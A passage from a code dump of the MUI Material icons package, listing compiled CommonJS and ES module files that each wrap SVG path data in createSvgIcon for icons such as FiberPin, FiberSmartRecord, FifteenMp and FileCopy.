    "path": "packages/mui-icons-material/lib/FiberPinRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2M9 11.5c0 .83-.67 1.5-1.5 1.5h-2v1.25c0 .41-.34.75-.75.75S4 14.66 4 14.25V10c0-.55.45-1 1-1h2.5c.83 0 1.5.67 1.5 1.5zm3.5 2.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75v-4.5c0-.41.34-.75.75-.75s.75.34.75.75zm7.5-.04c0 .44-.35.79-.79.79-.25 0-.49-.12-.64-.33l-2.31-3.17v2.88c0 .34-.28.62-.62.62h-.01c-.35 0-.63-.28-.63-.62V9.83c0-.46.37-.83.83-.83.27 0 .52.13.67.35l2.25 3.15V9.62c0-.34.28-.62.62-.62h.01c.34 0 .62.28.62.62zM5.5 10.5h2v1h-2z\"\n}), 'FiberPinRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberPinRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2M9 11.5c0 .83-.67 1.5-1.5 1.5h-2v1.25c0 .41-.34.75-.75.75S4 14.66 4 14.25V10c0-.55.45-1 1-1h2.5c.83 0 1.5.67 1.5 1.5zm3.5 2.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75v-4.5c0-.41.34-.75.75-.75s.75.34.75.75zm7.5-.04c0 .44-.35.79-.79.79-.25 0-.49-.12-.64-.33l-2.31-3.17v2.88c0 .34-.28.62-.62.62h-.01c-.35 0-.63-.28-.63-.62V9.83c0-.46.37-.83.83-.83.27 0 .52.13.67.35l2.25 3.15V9.62c0-.34.28-.62.62-.62h.01c.34 0 .62.28.62.62zM5.5 10.5h2v1h-2z\"\n}), 'FiberPinRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberPinSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.5 10.5h2v1h-2zM22 4H2v16h20zM9 13H5.5v2H4V9h5zm3.5 2H11V9h1.5zm7.5 0h-1.2l-2.55-3.5V15H15V9h1.25l2.5 3.5V9H20z\"\n}), 'FiberPinSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberPinSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.5 10.5h2v1h-2zM22 4H2v16h20zM9 13H5.5v2H4V9h5zm3.5 2H11V9h1.5zm7.5 0h-1.2l-2.55-3.5V15H15V9h1.25l2.5 3.5V9H20z\"\n}), 'FiberPinSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberPinTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 14.62h1.31v-1.75h1.75c.74 0 1.31-.57 1.31-1.31v-.88c0-.74-.57-1.31-1.31-1.31H5zm1.31-3.93h1.75v.88H6.31zm5.03-1.31h1.31v5.25h-1.31zm3.28 5.24h1.1v-3.06l2.23 3.06H19V9.38h-1.09v3.06l-2.19-3.06h-1.1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6h16v12H4z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4V6h16z\"\n}, \"2\")], 'FiberPinTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberPinTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 14.62h1.31v-1.75h1.75c.74 0 1.31-.57 1.31-1.31v-.88c0-.74-.57-1.31-1.31-1.31H5zm1.31-3.93h1.75v.88H6.31zm5.03-1.31h1.31v5.25h-1.31zm3.28 5.24h1.1v-3.06l2.23 3.06H19V9.38h-1.09v3.06l-2.19-3.06h-1.1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6h16v12H4z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4V6h16z\"\n}, \"2\")], 'FiberPinTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberSmartRecord.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"12\",\n  r: \"8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4.26v2.09c2.33.82 4 3.04 4 5.65s-1.67 4.83-4 5.65v2.09c3.45-.89 6-4.01 6-7.74s-2.55-6.85-6-7.74\"\n}, \"1\")], 'FiberSmartRecord');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberSmartRecord.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"12\",\n  r: \"8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4.26v2.09c2.33.82 4 3.04 4 5.65s-1.67 4.83-4 5.65v2.09c3.45-.89 6-4.01 6-7.74s-2.55-6.85-6-7.74\"\n}, \"1\")], 'FiberSmartRecord');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberSmartRecordOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6m8-13.74v2.09c2.33.82 4 3.04 4 5.65s-1.67 4.83-4 5.65v2.09c3.45-.89 6-4.01 6-7.74s-2.55-6.85-6-7.74\"\n}), 'FiberSmartRecordOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberSmartRecordOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6m8-13.74v2.09c2.33.82 4 3.04 4 5.65s-1.67 4.83-4 5.65v2.09c3.45-.89 6-4.01 6-7.74s-2.55-6.85-6-7.74\"\n}), 'FiberSmartRecordOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberSmartRecordRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"12\",\n  r: \"8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5.55v.18c0 .37.23.69.57.85C19.6 7.54 21 9.61 21 12s-1.4 4.46-3.43 5.42c-.34.16-.57.47-.57.84v.18c0 .68.71 1.11 1.32.82C21.08 18.01 23 15.23 23 12s-1.92-6.01-4.68-7.27c-.61-.28-1.32.14-1.32.82\"\n}, \"1\")], 'FiberSmartRecordRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberSmartRecordRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"12\",\n  r: \"8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5.55v.18c0 .37.23.69.57.85C19.6 7.54 21 9.61 21 12s-1.4 4.46-3.43 5.42c-.34.16-.57.47-.57.84v.18c0 .68.71 1.11 1.32.82C21.08 18.01 23 15.23 23 12s-1.92-6.01-4.68-7.27c-.61-.28-1.32.14-1.32.82\"\n}, \"1\")], 'FiberSmartRecordRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberSmartRecordSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"12\",\n  r: \"8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4.26v2.09c2.33.82 4 3.04 4 5.65s-1.67 4.83-4 5.65v2.09c3.45-.89 6-4.01 6-7.74s-2.55-6.85-6-7.74\"\n}, \"1\")], 'FiberSmartRecordSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberSmartRecordSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"12\",\n  r: \"8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4.26v2.09c2.33.82 4 3.04 4 5.65s-1.67 4.83-4 5.65v2.09c3.45-.89 6-4.01 6-7.74s-2.55-6.85-6-7.74\"\n}, \"1\")], 'FiberSmartRecordSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberSmartRecordTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 18c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 20c4.42 0 8-3.58 8-8s-3.58-8-8-8-8 3.58-8 8 3.58 8 8 8M9 6c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6 2.69-6 6-6m8-1.74v2.09c2.33.82 4 3.04 4 5.65s-1.67 4.83-4 5.65v2.09c3.45-.89 6-4.01 6-7.74s-2.55-6.85-6-7.74\"\n}, \"1\")], 'FiberSmartRecordTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberSmartRecordTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 18c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 20c4.42 0 8-3.58 8-8s-3.58-8-8-8-8 3.58-8 8 3.58 8 8 8M9 6c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6 2.69-6 6-6m8-1.74v2.09c2.33.82 4 3.04 4 5.65s-1.67 4.83-4 5.65v2.09c3.45-.89 6-4.01 6-7.74s-2.55-6.85-6-7.74\"\n}, \"1\")], 'FiberSmartRecordTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FifteenMp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM10 5.5v6H8.5V7H7V5.5zM16.5 7h-3v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H12V10h3V9h-3V5.5h4.5zm-1 7H17v1.5h-1.5z\"\n}), 'FifteenMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FifteenMp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM10 5.5v6H8.5V7H7V5.5zM16.5 7h-3v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H12V10h3V9h-3V5.5h4.5zm-1 7H17v1.5h-1.5z\"\n}), 'FifteenMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FifteenMpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm8-1V9c0-.55-.45-1-1-1h-2V7h3V5.5H12V9h3v1h-3v1.5h3.5c.55 0 1-.45 1-1\"\n}, \"2\")], 'FifteenMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FifteenMpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm8-1V9c0-.55-.45-1-1-1h-2V7h3V5.5H12V9h3v1h-3v1.5h3.5c.55 0 1-.45 1-1\"\n}, \"2\")], 'FifteenMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FifteenMpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.75 5.5H9c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75C7.34 7 7 6.66 7 6.25s.34-.75.75-.75m4.75 12.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zm-.5-7c0-.41.34-.75.75-.75H15V9h-2c-.55 0-1-.45-1-1V6.5c0-.55.45-1 1-1h2.75c.41 0 .75.34.75.75s-.34.75-.75.75H13.5v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1h-2.75c-.41 0-.75-.34-.75-.75M18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'FifteenMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FifteenMpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.75 5.5H9c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75C7.34 7 7 6.66 7 6.25s.34-.75.75-.75m4.75 12.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zm-.5-7c0-.41.34-.75.75-.75H15V9h-2c-.55 0-1-.45-1-1V6.5c0-.55.45-1 1-1h2.75c.41 0 .75.34.75.75s-.34.75-.75.75H13.5v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1h-2.75c-.41 0-.75-.34-.75-.75M18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'FifteenMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FifteenMpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm9 7h3V9h-3V5.5h4.5V7h-3v1h3v3.5H12zM7 5.5h3v6H8.5V7H7zm5.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"1\")], 'FifteenMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FifteenMpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm9 7h3V9h-3V5.5h4.5V7h-3v1h3v3.5H12zM7 5.5h3v6H8.5V7H7zm5.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"1\")], 'FifteenMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FifteenMpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1M12 10h3V9h-3V5.5h4.5V7h-3v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H12zM7 5.5h3v6H8.5V7H7zm-1 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm8-1V9c0-.55-.45-1-1-1h-2V7h3V5.5H12V9h3v1h-3v1.5h3.5c.55 0 1-.45 1-1\"\n}, \"4\")], 'FifteenMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FifteenMpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1M12 10h3V9h-3V5.5h4.5V7h-3v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H12zM7 5.5h3v6H8.5V7H7zm-1 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm8-1V9c0-.55-.45-1-1-1h-2V7h3V5.5H12V9h3v1h-3v1.5h3.5c.55 0 1-.45 1-1\"\n}, \"4\")], 'FifteenMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileCopy.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 1H4c-1.1 0-2 .9-2 2v14h2V3h12zm-1 4 6 6v10c0 1.1-.9 2-2 2H7.99C6.89 23 6 22.1 6 21l.01-14c0-1.1.89-2 1.99-2zm-1 7h5.5L14 6.5z\"\n}), 'FileCopy');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileCopy.mjs",
